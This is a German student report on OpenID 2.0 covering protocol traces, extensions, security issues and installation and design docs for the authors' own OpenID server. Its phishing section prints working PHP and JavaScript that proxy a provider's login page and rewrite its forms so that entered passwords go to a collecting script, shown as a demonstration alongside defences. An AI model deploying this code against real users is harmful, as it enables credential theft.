?openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a7509%7D%7BVG4fiw%3D%3D%7D
&openid.mode=checkid_immediate
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T15%253A19%253A42ZwGoJTr
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry&openid.sreg.required=nickname
Der OpenID Provider gibt nur eine positive Rückmeldung, wenn der Benutzer angemeldet ist und die Seite in
der Liste der vertrauten Seiten des Benutzers ist. Sonst gibt er mit „setup_needed“ an, dass er unbedingt mit
dem Benutzer interagieren muss.
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 13:14:22 GMT
Cache-Control: no-cache
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php
?janrain_nonce=2007-06-21T15%3A19%3A42ZwGoJTr
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a7509%7D%7BVG4fiw%3D%3D%7D
&openid.mode=id_res
&openid.response_nonce=2007-06-21T13%3A14%3A22ZaArxtY
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T15%253A19%253A42ZwGoJTr
&openid.sig=ActQNNOq%2FziBzHIkmKzOtcmJsVs%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cop_endpoint%2Cresponse_nonce
%2Creturn_to%2Csigned
prot-27
DUMB MODE (STATELESS MODE)
Ist die Relying Party nicht in der Lage Statusinformationen zu halten oder grosse Signatur Berechnungen
durchzuführen, kann sie den Dumb Mode benutzen. Im Dumb Mode generiert der OpenID Provider ein privates
Geheimnis um die indirekte Kommunikation über den User-Agent zu signieren. Die Relying Party prüft die
Signatur indem sie eine direkte HTTP Anfrage an den OpenID Provider sendet. Da diese Abfrage für Man-in-theMiddle Attacken anfällig ist, sollte der Dumb Mode vermieden werden.
DIAGRAMM
Die Schritte 1, 2 (Discovery) und 4 sind identisch mit dem Normalen Modus. Auf eine erneute Auflistung der
Traces wird deshalb verzichtet.
3. AUTHENTICATION RE QUEST
Der Benutzer wird direkt an seinen OpenID Provider weitergeleitet. Der OpenID Provider erkennt am Fehlen
der Variable „openid.assoc_handle“, dass die Relying Party den Dumb Mode verwendet und generiert eine
Association mit einem privaten Geheimnis.
prot-28
Relying Party > User Agent
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 13:23:28 GMT
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php
?openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0621T13%253A23%253A28ZkbqX8a
Content-Length: 672
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Der User-Agent wird zurück an die Relying Party geleitet.
HTTP/1.1 302 Found
Date: Thu, 21 Jun 2007 11:18:13 GMT
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php?janrain_nonce=2007-06-21T13%3A23%3A28ZkbqX8a
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a5e75%7D%7BH8vkmg%3D%3D%7D
&openid.mode=id_res
&openid.response_nonce=2007-06-21T11%3A18%3A13ZlkIEw1
&openid.sig=z5M2EtnFK5gr4lYaGt7KWboxizU%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cop_endpoint%2Cresponse_nonce
%2Creturn_to%2Csigned
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
prot-29
6. CHECK AUTHENTICAT ION
Da die Relying Party das Geheimnis der Association nicht kennt, muss sie den OpenID Provider fragen ob die
erhaltene Signatur gültig ist.
POST /trunk/server.php HTTP/1.0
Content-type: application/x-www-form-urlencoded
Content-length: 709
openid.assoc_handle=%7BHMAC-SHA1%7D%7B467a5e75%7D%7BH8vkmg%3D%3D%7D
&openid.mode=check_authentication
&openid.response_nonce=2007-06-21T11%3A18%3A13ZlkIEw1
&openid.sig=z5M2EtnFK5gr4lYaGt7KWboxizU%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cop_endpoint
%2Cresponse_nonce%2Creturn_to%2Csigned
Der OpenID Provider berechnet mit dem privaten Geheimnis der Association „assoc_handle“ die Signatur und
vergleicht diese mit der erhaltenen Signatur „sig“.
HTTP/1.1 200 OK
Date: Thu, 21 Jun 2007 11:18:13 GMT
Set-Cookie: PHPSESSID=7a1cbdaf072a78d0d16314026b56d098; path=/
Cache-Control: no-cache
Pragma: no-cache
Connection: close
Content-Length: 50
Content-Type: text/html; charset=UTF-8
is_valid:true
ns:http://specs.openid.net/auth/2.0
Stimmen die Signaturen überein, teilt er dies der Relying Party mit. Der Benutzer ist nun authentifiziert.
prot-30
EXTENSIONS
Eine OpenID Extension ist ein Protokoll, welches dem Authentication Request und dem Authentication
Response angehängt wird. Mit Extensions können weitere Daten über die Relying Party sowie über den OpenID
Provider oder den jeweiligen Benutzer ausgetauscht werden.
Jede Extension ist über eine URI eindeutig identifiziert. Jeder OpenID Provider listet sämtliche URIs der
unterstützten Extensions im XRDS Dokument auf. Um übertragene Werte der Extension zuordnen zu können,
wird der Extension ein im Datenpaket eindeutiger Alias zugewiesen.
Beispiel:
openid.ns.myextension=http://openid.hsr.ch/ext/myext/1.0
openid.myextension.foo=hello
„foo“ mit dem Wert „hello“ wird der Extension http://openid.hsr.ch/ext/myext/1.0 zugeordnet.
SIMPLE REGISTRATION EXTENSION 1.1
Die Simple Registration Extension [10] ermöglicht es der Relying Party (Registrierungs-)Daten über den
Benutzer anzufordern. Die Daten die wahlweise als „optional“ oder „required“ angefordert werden können
sind: Nickname, E-Mail Adresse, Name, Geburtsdatum, Geschlecht, Postleitzahl, Land, bevorzugte Sprache und
Zeitzone. Der Benutzer oder der OpenID Provider können aber als „required“ angeforderte Daten weglassen
oder leer senden.
Ein Beispiel für die Anforderung von Registierungsdaten:
GET /trunk/server.php?openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
prot-31
Falls der Benutzer dies wünscht, werden die Daten gesendet:
GET /login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
ASSERTION QUALITY EX TENSION 1.0
Mit der Assertion Quality Extension [11] kann die Relying Party in Erfahrung bringen, ob und wie die Daten des
Benutzers vom OpenID Provider überprüft wurden und mit welchem Authentifizierungsverfahren (Passwort,
Smartcard, Iriserkennung, usw.) sich der Benutzer am OpenID Provider authentifiziert hat. Des Weiteren weiss
die Relying Party, welche Authentifizierungsverfahren der OpenID Provider unterstützt und kann ein
bestimmtes Verfahren verlangen. Der grosse Vorteil besteht nun darin, dass die Relying Party bei zu unsicheren
OpenID Providern eine Authentifizierung abbrechen kann.
OPENID ATTRIBUTE EXCHANGE 1.0
Die OpenID Attribute Exchange [12] Spezifikation ermöglicht es, erweiterte Informationen (Attributes) eines
Benutzers vom OpenID Provider zu erfahren. Jedes Attribut wird dabei durch eine eindeutige URI adressiert.
Zusätzlich kann die Relying Party nicht nur Attribute des Benutzers anfordern, sondern auch zur Speicherung
dem OpenID Provider senden. Somit stehen diese fortan auch anderen Relying Parties zur Verfügung.
prot-32
SICHERHEIT
PHISHING
Das grösste Sicherheitsproblem bei OpenID ist Phishing. Anstatt den User-Agent zu seinem OpenID Provider
weiterzuleiten, kann eine böse Relying Party den User-Agent an einen Fake-Provider weiterleiten. Der FakeProvider imitiert den OpenID Provider des Benutzers und kann sein Passwort abfangen. Alles was der Phisher
dazu braucht, ist eine für den Benutzer interessante Internetseite.
Die einzige Lösung des Problems ist die Passwort-Authentifizierung nicht mehr zu verwenden. Die einfachste
und sicherste Alternative ist die Verwendung von SSL mit Clientzertifikaten. Sofern der Benutzer sein
Clientzertifikat privat hält, ist die Authentifizierung sicher. Professionelle OpenID Provider bieten die
Zertifikatauthentifizierung an.
prot-33
BEISPIEL
An dieser Stelle demonstrieren wir, wie einfach man eine Relying Party aufsetzt, die den OpenID Provider des
Benutzers imitiert und das Passwort abfängt.
Eine Möglichkeit wäre, alle Login Seiten populärer Provider einfach nachzubauen und je nach eingegebener
OpenID URL den Benutzer darauf zu verweisen. Wir verwenden hier allerdings eine etwas komplizierte, dafür
allgemeinere Methode: [13]
1.
Der Benutzer gibt seine OpenID ein.
2.
Anhand der OpenID leiten wir den Benutzer, nicht wie üblichen an seinen Provider weiter, sondern laden
nur dessen Login Seite und stellen sie dar.
3.
Da wir die Seite selber darstellen, haben wir die volle Kontrolle und können alle Benutzereingaben, also
auch das eingegebene Passwort, abfangen.
prot-34
Implementation:
Als erstes brauchen wir eine für den Benutzer interessante Webseite mit einem OpenID Login. Wir verwenden
hier unser Gästebuch.
Die für das Login verantwortliche Seite ist startlogin.php. Normalerweise wir der Benutzer mit
startlogin.php: Original
header("Location: ".$redirect_url)
an die mittels Yadis Discovery aufgelöste Seite seines OpenID Providers ($redirect_url) weitergeleitet. Diesen
Redirect ersetzen wir durch:
startlogin.php: Modifiziert
$phishjs = "http://consumer.virtualpatient.ch/phishing/phish.js";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $redirect_url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
$data = curl_exec($ch);
curl_close($ch);
$data = preg_replace("/<\/body>/i", "<script type=\"text/javascript\" src=\"$phishjs\"></script></body>", $data);
echo $data;
Mit curl_setopt($ch, CURLOPT_URL, $redirect_url) wird die Login Seite des Providers geladen. Dann werden
alle gespeicherten Cookies überschrieben, so dass der Benutzer gezwungen wird sich mit Benutzername und
Passwort anzumelden.
prot-35
Der modifizierten Seite wird noch folgender JavaScript Code angehängt.
phish.js:
var forms = document.getElementsByTagName("form");
for(i = 0; i < forms.length; i++) {
forms[i].setAttribute("method", "get");
forms[i].setAttribute("action", "http://consumer.virtualpatient.ch/phishing/phish.php");
}
Dieser JavaScript Code durchsucht die geladene Seite nach Formularen und verändert deren Aktion beim
Drücken des Submit Buttons.
In diesem Beispiel wird danach folgende Seite geladen, welche die ausgelesenen Informationen anzeigt.
phish.php:
<p> We have extracted the following information: </p>
<pre>
<?php foreach($_GET as $key => $value) {
echo "$key = $value\n";
}
foreach($_POST as $key => $value) {
echo "$key = $value\n";
} ?>
</pre>
prot-36
MAN IN THE MIDDLE
Das durch die Assoziation ausgehandelte gemeinsame Geheimnis wird zum Signieren der Authentication
Responses verwendet und garantiert somit die Integrität. Mögliche Angriffspunkte für Man-in-the-Middle
Attacken sind das Discovery, Association Negotiation und die Prüfung der Signatur im Dumb Mode. Ist der
Attacker in der Lage, z.B. durch DNS Spoofing, den Datenverkehr über sich weiterleiten zu lassen, kann er
sämtliche übertragene Daten lesen und verändern.
Nur die konsequente Verwendung von öffentlich signierten SSL Zertifikaten verhindert solche Attacken. Um die
Integrität voll zu gewährleisten, muss deshalb bei jeder Interaktion SSL verwendet werden.
REPLAY ATTACKEN
Damit böse User-Agents sich nicht durch einfaches Wiederholen eines erfolgreichen Authentication Responses
an der Relying Party anmelden können, werden auf dem OpenID Provider die Daten mit einmaligen Nonces und
Timestamps signiert. Die Relying Party muss nur prüfen, ob sie die Nonce und den Timestamp nicht schon
einmal vom OpenID Provider erhalten hat. Das Problem der Replay Attacken ist somit gelöst.
prot-37
GLOSSAR
SSO
Identifier
User-Agent
Relying Party
OpenID Provider
OpenID URL
Yadis
Single-Sign-On: Einmaliges Anmelden für mehrere Webseiten
Entweder eine http oder https URI (http://en.wikipedia.org/wiki/URI)
oder eine XRI (http://en.wikipedia.org/wiki/XRI).
Webbrowser des Endbenutzers
Auch Consumer genannt. Web Anwendung, welche die Anmeldung mittels OpenID
unterstützt.
Kurz OP, bieten den Benutzern OpenID URLs an. Nehmen Anfragen von Relying
Partys an und sendet diesen die angeforderten Benutzer Daten.
Auch User-Supplied Identifier oder einfach OpenID genannt.
Eindeutige URL zur Benutzeridentifikation. z.B.:
http://openid.virtualpatient.ch/id/beatstream
Unter Yadis versteht man ein Protokoll und ein Datenformat mit dem
Informationen über unterstützte Dienste einer HTTP-URL abgerufen werden
können.
prot-38
LITERATURVERZEICHNNIS
[1] OpenID Geschichte: http://openidgermany.de/openid-historie/
[2] OpenID Statistik von JanRain CEO Kveton: http://kveton.com/blog/2007/04/02/state-of-openid-april-2007by-the-numbers/
[3] OpenID Authentication 2.0 Draft 11 Spezifikation: http://openid.net/specs/openid-authentication-2_011.html
[4] JanRain Homepage: http://janrain.com/
[5] Sxip Code Homepage: http://code.sxip.com/
[6] NetMesh Homepage: http://netmesh.us/
[7] XRI Identifier: Spezielle URI, die unabhängig von der Domain oder Kommunikationsprotokoll ist:
http://en.wikipedia.org/wiki/XRI
[8] Yadis Protokoll: Service Discovery Protokoll von OpenID: http://yadis.org/papers/yadis-v1.0.pdf
[9] Diffie Hellman Generator und Modulus Standardwerte sind in der Spezifikation unter
http://openid.net/specs/openid-authentication-2_0-11.html#anchor17 definiert.
[10] Simple Registration Extension 1.1 Draft 1:
http://openid.net/specs/openid-simple-registration-extension-1_1-01.html
[11] Assertion Quality Extension 1.0 Draft 3 Spezifikation: http://openid.net/specs/openid-assertion-qualityextension-1_0-03.html
[12] OpenID Attribute Exchange 1.0 Draft 5 Spezifikation: http://openid.net/specs/openid-attribute-exchange1_0-05.html
[13] Phishing Beispiel: http://openid.marcoslot.net/
prot-39
OpenID 2.0 Server
Studienarbeit SS 07
Dieses Dokument beschreibt die Installation, Konfiguration und
das interne Design des standalone OpenID 2 Providers OpenID
2.0 Server.
Loris Siegenthaler
David Benninger
INHALTSVERZEICHNIS
Einführung ............................................................................................................................................................... 4
Features .................................................................................................................................................................. 4
Voraussetzungen ..................................................................................................................................................... 4
Installation .............................................................................................................................................................. 4
Konfiguration .......................................................................................................................................................... 6
Konfigurationsdatei ............................................................................................................................................. 6
Konfigurationsassistent ....................................................................................................................................... 6
Design...................................................................................................................................................................... 7
Übersicht ............................................................................................................................................................. 7
Session Management .......................................................................................................................................... 8
Template System ................................................................................................................................................. 8
Ordnerstruktur .................................................................................................................................................... 9
Datenbankmodell .............................................................................................................................................. 10
Datenbank openidaccounts .......................................................................................................................... 10
Datenbank openid2 ....................................................................................................................................... 10
Klassendiagramme ............................................................................................................................................ 11
Klasse Controller ........................................................................................................................................... 11
Klasse MultiLanguageSmarty ........................................................................................................................ 11
Klasse MySQL ................................................................................................................................................ 12
Mehrsprachigkeit .............................................................................................................................................. 12
Erweiterungen ....................................................................................................................................................... 13
Eigenes Web-Design .......................................................................................................................................... 13
Hinzufügen einer neuen Sprache ...................................................................................................................... 14
Mit Rewrite Rule zu einer einfacheren OpenID URL ......................................................................................... 15
Apache Konfiguration.................................................................................................................................... 15
OpenID 2 Server Konfiguration ..................................................................................................................... 15
srv-2
Anhang .................................................................................................................................................................. 16
Evaluation einer OpenID Library ....................................................................................................................... 16
Literaturverzeichnis ........................................................................................................................................... 17
srv-3
EINFÜHRUNG
Der OpenID 2.0 Server ist ein einfach installierbarer OpenID 2.0 Provider. Die einfach gestaltete Web
Oberfläche bietet nicht nur eine komplette Account Verwaltung sondern kommt auch noch in zwei Sprachen –
Deutsch und Englisch – daher.
Mit einem LAMP-Server (Linux-Apache-MySQL-PHP) und dem OpenID 2.0 Server kann jedermann innerhalb
kürzester Zeit einen eigenen OpenID 2.0 Provider betreiben.
FEATURES
Der OpenID 2 Server bietet folgende Features:
OpenID 2.0 Authentication [1]
OpenID Simple Registration Extension 1.1 [2]
Accountregistrierung und -verwaltung
Mehrsprachigkeit (Deutsch, Englisch)
Volle Anpassbarkeit des Designs der Web Oberfläche
VORAUSSETZUNGEN
Folgende Punkte gelten als Voraussetzung für eine erfolgreiche Installation:
1.
PHP 5
2.
MySQL Server ab Version 4
3.
Apache Webserver
INSTALLATION
Die folgende Installationsanleitung gilt für Debian basierte Distributionen, wie z.B. Ubuntu:
1.
2.
Install PEAR
a.
apt-get install php-pear
b.
restart apache
Install PEAR-DB
a.
wget http://download.pear.php.net/package/DB-1.7.11.tgz
b.
pear install DB-1.7.11.tgz
srv-4
3.
4.
5.
6.
7.
Install Smarty
a.
wget http://smarty.php.net/do_download.php?download_file=Smarty-2.6.18.tar.gz
b.
tar -zxvf Smarty-2.6.18.tar.gz
c.
mkdir --parents /usr/local/lib/php/Smarty
d.
cp -R Smarty-2.6.18/libs/* /usr/local/lib/php/Smarty
Install patched JanRain PHP OpenID2 Library
a.
wget http://openid.virtualpatient.ch/downloads/server/PHP-openid-2.0.0-rc2-patched.tar.gz
b.
tar -zxvf PHP-openid-2.0.0-rc2-patched.tar.gz
c.
cp -R PHP-openid-2.0.0-rc2-patched/Auth /usr/share/php/
Install OpenID2 Server
a.
wget http://openid.virtualpatient.ch/downloads/server/openid2_server.tar.gz
b.
tar -zxvf openid2_server.tar.gz
c.
mkdir /var/www/openid2/
d.
cp -R trunk/* /var/www/openid2/
Create Smarty compile directories
a.
mkdir /var/www/openid2/templates_c
b.
chown www-data:www-data /var/www/openid2/templates_c
c.
mkdir /var/www/openid2/cache
d.
chown www-data:www-data /var/www/openid2/cache
Create Database
a.
8.
mysql> create database openid2;
Basic Configuration
a.
go to: http://yourdomain.com/openid2/start.php
b.
Follow the configuration wizard instructions
Weitere Anpassungen der Konfiguration, z.B. Umschaltung auf das HSR ITA Design, werden direkt in der
Konfigurationsdatei „incl/config.php“ vorgenommen.
srv-5
KONFIGURATION
KONFIGURATIONSDATEI
Sämtliche Konfigurationseinstellungen sind in der Datei „config.php“ im Verzeichnis „incl“ zusammengefasst.
Sie enthält PHP Define Anweisungen und ist somit in einem einfachen Key-Value Format. Die Datei wird bei
jedem Seitenaufruf neu eingelesen. Änderungen werden somit sofort aktiv.
KONFIGURATIONSASSISTENT
Mit dem Konfigurationsassistenten kann die Konfigurationsdatei config.php einfach und schnell erstellt
werden. Beim ersten Besuch nach der Installation erscheint der Konfigurationsassistent automatisch. Später
kann er über die Seite start.php jederzeit ausgeführt werden.
Wechseln der
Sprache
Es können noch
unerwartete
Fehler auftreten.
Eventuelle Fehler
beim Prüfen der
Angaben werden
hier angezeigt.
Bei Bedarf müssen
die Angaben
angepasst
werden.
Beim Klick auf
„Weiter“ werden
die Angaben
geprüft und die
Konfiguration
ausgegeben.
Die Ausgabe des Konfigurationsassistenten muss per Copy&Paste in die Datei „config.php“ im Verzeichnis „incl“
übertragen werden. Die Konfiguration wird sofort aktiv.
srv-6
DESIGN
ÜBERSICHT
Der OpenID 2.0 Server ist eine 100%-ig PHP basierte Web Applikation und kann somit auf jedem aktuellen
LAMP (Linux-Apache-MySQL-PHP) Server einfach betrieben werden. Um spätere Anpassungen möglichst
einfach zu gestalten, wurde eine typische 3-Schicht Architektur (Datenhaltung, Businesslogik, Präsentation)
gewählt.
Das folgende Diagramm zeigt die verschiedenen Komponenten im Datenhaltungs- und Businesslayer des
OpenID 2.0 Servers und deren Interaktionen.
Der MySQL Server hält zwei Datenbanken. Die Datenbank „openid2“ speichert die Nonces und die
Assoziationen mit der OpenID Relying Party. Die Datenbank „openidaccounts“ speichert die Benutzer Accounts
und deren Informationen. Der PHP Session Store speichert sämtliche Daten über die aktuell angemeldeten
Benutzer. Die beiden Dateien im WWW Root Verzeichnis des Webservers kümmern sich um die Interaktion mit
der Relying Party und dem Benutzer.
srv-7
SESSION MANAGEMENT
Es wird das Session Management von PHP für die Speicherung des Sitzungszustandes verwendet. Der Browser
des Benutzers erhält dabei ein Cookie zur Identifizierung. Beim Benutzer-Login werden sämtliche
Benutzerdaten aus der Datenbank geladen und in die Sitzung gespeichert. Somit muss nur bei
Datenmanipulationen oder bei erneutem Login auf die Datenbank zugegriffen werden.
TEMPLATE SYSTEM
Um die Businesslogik möglichst klar von der Präsentation zu trennen, wurde die Smarty Template Engine für
die Präsentationsschicht verwendet. Da Smarty die Templates automatisch in PHP Code übersetzt, gibt es nur
einen minimalen Laufzeit-Overhead. Zudem kann das Design ohne Programmierkenntnisse angepasst werden.
Da Smarty standardmässig keine Mehrsprachigkeit unterstützt, wurde es von uns mit diesem Feature
erweitert.
Weitere Informationen über Smarty sind auf der Internetseite smarty.php.net zu finden.
srv-8
ORDNERSTRUKTUR
wwwroot: Enthält den Konfigurationsassistenten, die Datei server.php
und die Web-Oberfläche index.php.
data: Enthält statische, sprachunabhängige Daten, z.B. die Liste aller
Länder.
incl: Enthält notwendige Klassen und Funktionen, sowie die
Konfigurationsdatei config.php.
incl/lang: Enthält die Sprachdateien für Informations- oder
Fehlermeldungen, die unabhängig der Templates sind.
templates: Enthält die möglichen Designs der Web-Oberfläche. Das
Design „default“ ist das Standarddesign. In der Konfigurationsdatei
config.php kann auf das Design „ita“ umgeschaltet werden.
default: Enthält sprachunabhängige Templates des Designs „default“
der Web-Oberfläche.
default/de: Enthält Templates in Deutsch.
default/en: Enthält Templates in Englisch.
templates_c und cache: Diese Ordner benötigt das Template System
zum Zwischenspeichern der Templates. Aus diesem Grund muss der
Benutzer des Webservers (unter welchem die Web-Applikation läuft)
über Schreibberechtigung auf diese Ordner verfügen.
srv-9
DATENBANKMODELL
DATENBANK OPENIDACCOUNTS
Das Datenbankmodell der Datenbank „openidaccounts“ wurde so einfach wie möglich konzipiert um spätere
Anpassungen zu vereinfachen.
Zwischen den beiden Tabellen existiert eine eins-zu-n Verbindung. Die Constraints sind so gesetzt, dass kein
Trusts Eintrag ohne User existieren kann. Die beiden Tabellen „users“ und „trusts“, sowie die Datenbank
„openidaccounts“ werden automatisch erstellt, wenn sie nicht vorhanden sind.
DATENBANK OPENID2
Die Programmbibliothek für das OpenID 2.0 Protokoll nutzt ihre eigene, unabhängige MySQL Datenbank zur
Verwaltung der Assoziationen. Wir haben zwar keinen Einfluss auf ihre Struktur, zeigen sie der Vollständigkeit
halber aber trotzdem:
Zwischen den Tabellen existieren keine Constraints. Die Datenbank muss manuell erstellt werden. Die beiden
Tabellen werden automatisch erstellt, wenn sie nicht existieren.
srv-10
KLASSENDIAGRAMME
KLASSE CONTROLLER
Die Controller Klasse führt sämtliche Datenmutationen aus. Zudem sorgt sie sich um die Validierung der
Benutzereingaben und delegiert die Ausgabe an das Smarty Template System.
Fehler- und Informationsmeldungen werden in der jeweiligen Benutzersprache direkt in die Arrays errors und
information abgelegt und stehen in den Templates als $errors und $information zur Ausgabe zur Verfügung.
KLASSE MULTILANGUAGESMARTY
Die Klasse MultiLanguageSmarty erweitert das Smarty Template System um die Mehrsprachigkeit. Die Sprache
des aktuellen Benutzers wird dem Konstruktor mitgegeben oder im Nachhinein mit setLanguage() geändert.
Fordert Smarty eine Template Datei an, sucht MultiLanguageSmarty zuerst im Template Ordner der jeweiligen
Sprache. Findet es die angeforderte Datei, wird der volle Pfad zurückgegeben. Ist die Suche erfolglos, sucht es
die Datei im übergeordneten, sprachunabhängigen Template Ordner. So müssen sprachunabhängige
Templates nicht für jede Sprache kopiert werden und das Single-Point-of-Truth Prinzip wird nicht verletzt.
srv-11
KLASSE MYSQL
Die Klasse MySQL stellt sicher, dass bei jedem Seitenzugriff die Datenbank „openidaccounts“ existiert und die
notwendigen Tabellen vorhanden sind. Die Datenbankqueries werden an den Datenbanklayer PEAR DB
delegiert.
MEHRSPRACHIGKEIT
Das Sprachsystem umfasst die Klasse MultiLanguageSmarty, die Browserspracherkennungsfunktion
„lang_getfrombrowser“ in der Datei „functions.php“, die Initialisierungsroutinen in der Datei „language.php“,
die Sprachdateien für Informations- und Fehlermeldungen im Verzeichnis „incl/lang“ und die einzelnen
Templates.
Ist die Spracheinstellung des Benutzers nicht gesetzt, wird versucht diese über die
Browserspracherkennungsfunktion auszulesen. Schlägt dies fehl, wird die Standardsprache der Konfiguration
verwendet.
srv-12
ERWEITERUNGEN
EIGENES WEB-DESIGN
Ein eigenes Design für die Web-Oberfläche kann durch das Ändern der Template Dateien ganz einfach erstellt
werden. Einzige Voraussetzungen sind HTML Kenntnisse und die Motivation, sich mit dem Smarty Template
System [3] auseinanderzusetzen.
Folgende kleine Anleitung soll beim Einstieg behilflich sein:
1.
Ein neues Design benötigt einen eigenen Design Ordner. Erstellen Sie also einen neuen Unterordner
im Verzeichnis „templates“.
2.
Als Vorlage kopieren Sie am Besten den Inhalt eines bestehenden Designs („ita“ oder „default“) in den
neuen Designordner.
3.
Ändern Sie das CSS Stylesheet im Ordner „css“ und die Template Dateien im Design Ordner und in den
Sprachunterordnern ab. Die genaue Smarty Template Syntax finden Sie auf der Internetseite
smarty.php.net.
4.
Schalten Sie in der Konfigurationsdatei „config.php“ im Ordner „incl“ auf Ihr neues Design um, indem
Sie die Define Anweisung „define(`design`, `default`);“ in „define(`design`, `meindesign`);“ abändern.
5.
Bestaunen Sie das neue Design im Webbrowser.
srv-13
Folgende Hinweise können hilfreich sein:
Alle Template Dateien – ausser „main.tpl“ – können Sie umbenennen. Sie müssen aber den
Namen des Templates (ohne die Dateiendung „.tpl“) in der Konfigurationsdatei ebenfalls
ändern.
Achten Sie darauf, dass die Textfelder, Checkboxen und Buttons in HTML ihren Namen
behalten. Die Web-Applikation wird sonst nicht mehr korrekt funktionieren.
Platzieren Sie sprachabhängige Templates in dem jeweiligen Sprachunterordner,
sprachunabhängige Templates aber im Design Hauptordner. Das Template System lädt
automatisch das korrekte Template.
HINZUFÜGEN EINER NEUEN SPRACHE
Falls die verfügbaren Sprachen Deutsch und Englisch nicht ausreichen, kann der Server ganz einfach um weitere
Sprachen erweitert werden.
1.
Schlagen Sie den ISO-639-1 [4] Sprachkürzel im Internet nach. Der Sprachkürzel besteht aus exakt zwei
kleingeschrieben Buchstaben.
2.
Erstellen Sie eine neue Sprachdatei im Ordner „incl/lang“. Der Dateinamen muss aus Sprachkürzel und
der Dateierweiterung „.php“ zusammengesetzt sein.
3.
Kopieren Sie den Inhalt einer bestehenden Sprachdatei „en.php“ oder „de.php“ in die neue
Sprachdatei.
4.
Übersetzen Sie die einzelnen Meldungen in die gewünschte Sprache. Achten Sie darauf, dass
eventuelle Platzhalter, z.B. „%s“, bestehen bleiben. Zusätzlich sollten Sie alle Sonderzeichen mit HTML
Entities [5] codieren.
5.
Erstellen Sie im Design Ordner einen neuen Sprachunterordner mit dem Sprachkürzel als Namen.
6.
Kopieren Sie die sprachabhängigen Templates aus einem bestehenden Sprachunterordner in den
neuen Ordner.
7.
Übersetzen Sie die sprachabhängigen Templates nun in die gewünschte Sprache. Achten Sie darauf,
dass die Namen der Formularfelder und Buttons gleich bleibt und dass Sie alle Sonderzeichen mit
HTML Entities codieren.
8.
Geben Sie den neuen Sprachkürzel der Funktion „getLanguages()“ in der Datei „functions.php“ im
Ordner „incl“ an. Fügen Sie dazu den Sprachkürzel dem Array „$lang“ in Zeile 90 hinzu.
9.
Damit der Benutzer die Sprache auch manuell auswählen kann, muss nun noch das Template
„languageselection.tpl“ im Design Ordner angepasst werden.
srv-14
MIT REWRITE RULE ZU EINER EINFACHEREN OPENID URL
Standardmässig sind die OpenID URLs im Format
http://ihrserver.domain.ch/openidpfad/idpage.php/benutzername. Mit einer einfachen Anpassung der Apache
Konfiguration und einer kleinen Änderung der config.php kann die URL auf das kürzere Format
http://ihrserver.domain.ch/id/benutzername gebracht werden.
APACHE KONFIGURATION
Die Apache Konfigurationsdateien finden Sie im Order /etc/apache2. Öffnen sie die Datei /etc/apache2/sitesenabled/000-default und erweitern Sie die VirtualHost Konfiguration um die folgenden zwei Zeilen:
RewriteEngine on
RewriteRule /id/([^/]+)$ /openidpfad/idpage.php/$1 [PT]
Nach einem Neustart des Apache Webservers sind die Einstellungen aktiv.
OPENID 2 SERVER KONFIGURATION
Damit die neue OpenID URL dem Benutzer auf der Startseite auch angezeigt wird, muss die OpenID 2.0 Server
Konfiguration angepasst werden. Ändern Sie dazu in der Datei 'incl/config.php' die Define Anweisung auf
'define('idpage_base', 'http://ihrserver.domain.ch/id');’. Die neue OpenID URL wird dann beim nächsten Login
korrekt angezeigt.
srv-15
ANHANG
EVALUATION EINER OPENID LIBRARY
Die folgenden OpenID Libraries unterstützen OpenID Authentication 2.0 und sind sowohl für die Relying Party
als auch als Server zu gebrauchen.
Library
Programmiersprache
Anforderungen
Hersteller
JanRain
PHP, Python
LAMP / Python
JanRain Inc. [6]
OpenID4Java
Java
JDK 1.4, Apache Tomcat, JUnit, Ant
Sxip.com [7]
Joid
Java
JDK 1.4, Apache Tomcat, Hibernate 3,
HSQL DB
Unbekannt
NetMesh InfoGrid
LID
PHP, Java
LAMP / JDK 1.5, Apache Tomcat, MySQL
NetMesh [8]
Da eine Java Apache Tomcat Umgebung mit Servlets und den benötigten Libraries schwieriger zu installieren
ist, haben wir uns für die einfache und schnellere Variante mit LAMP entschieden.
NetMesh InfoGrid LID ist eine Bibliothek für das Lightweight Identity Framework LID [9], die als Protokoll unter
anderem auch OpenID verwenden kann.
Schlussendlich haben wir uns für die schlankere PHP Library von JanRain entschieden.
srv-16
LITERATURVERZEICHNIS
[1] OpenID Authentication 2.0 Draft 11: http://openid.net/specs/openid-authentication-2_0-11.html
[2] OpenID Simple Registration Extension 1.1 Draft 1: http://openid.net/specs/openid-simple-registrationextension-1_1-01.html
[3] Smarty Template System: http://smarty.php.net
[4] ISO 639-1 Sprachcodes: http://www.sub.uni-goettingen.de/ssgfi/projekt/doku/sprachcode.html
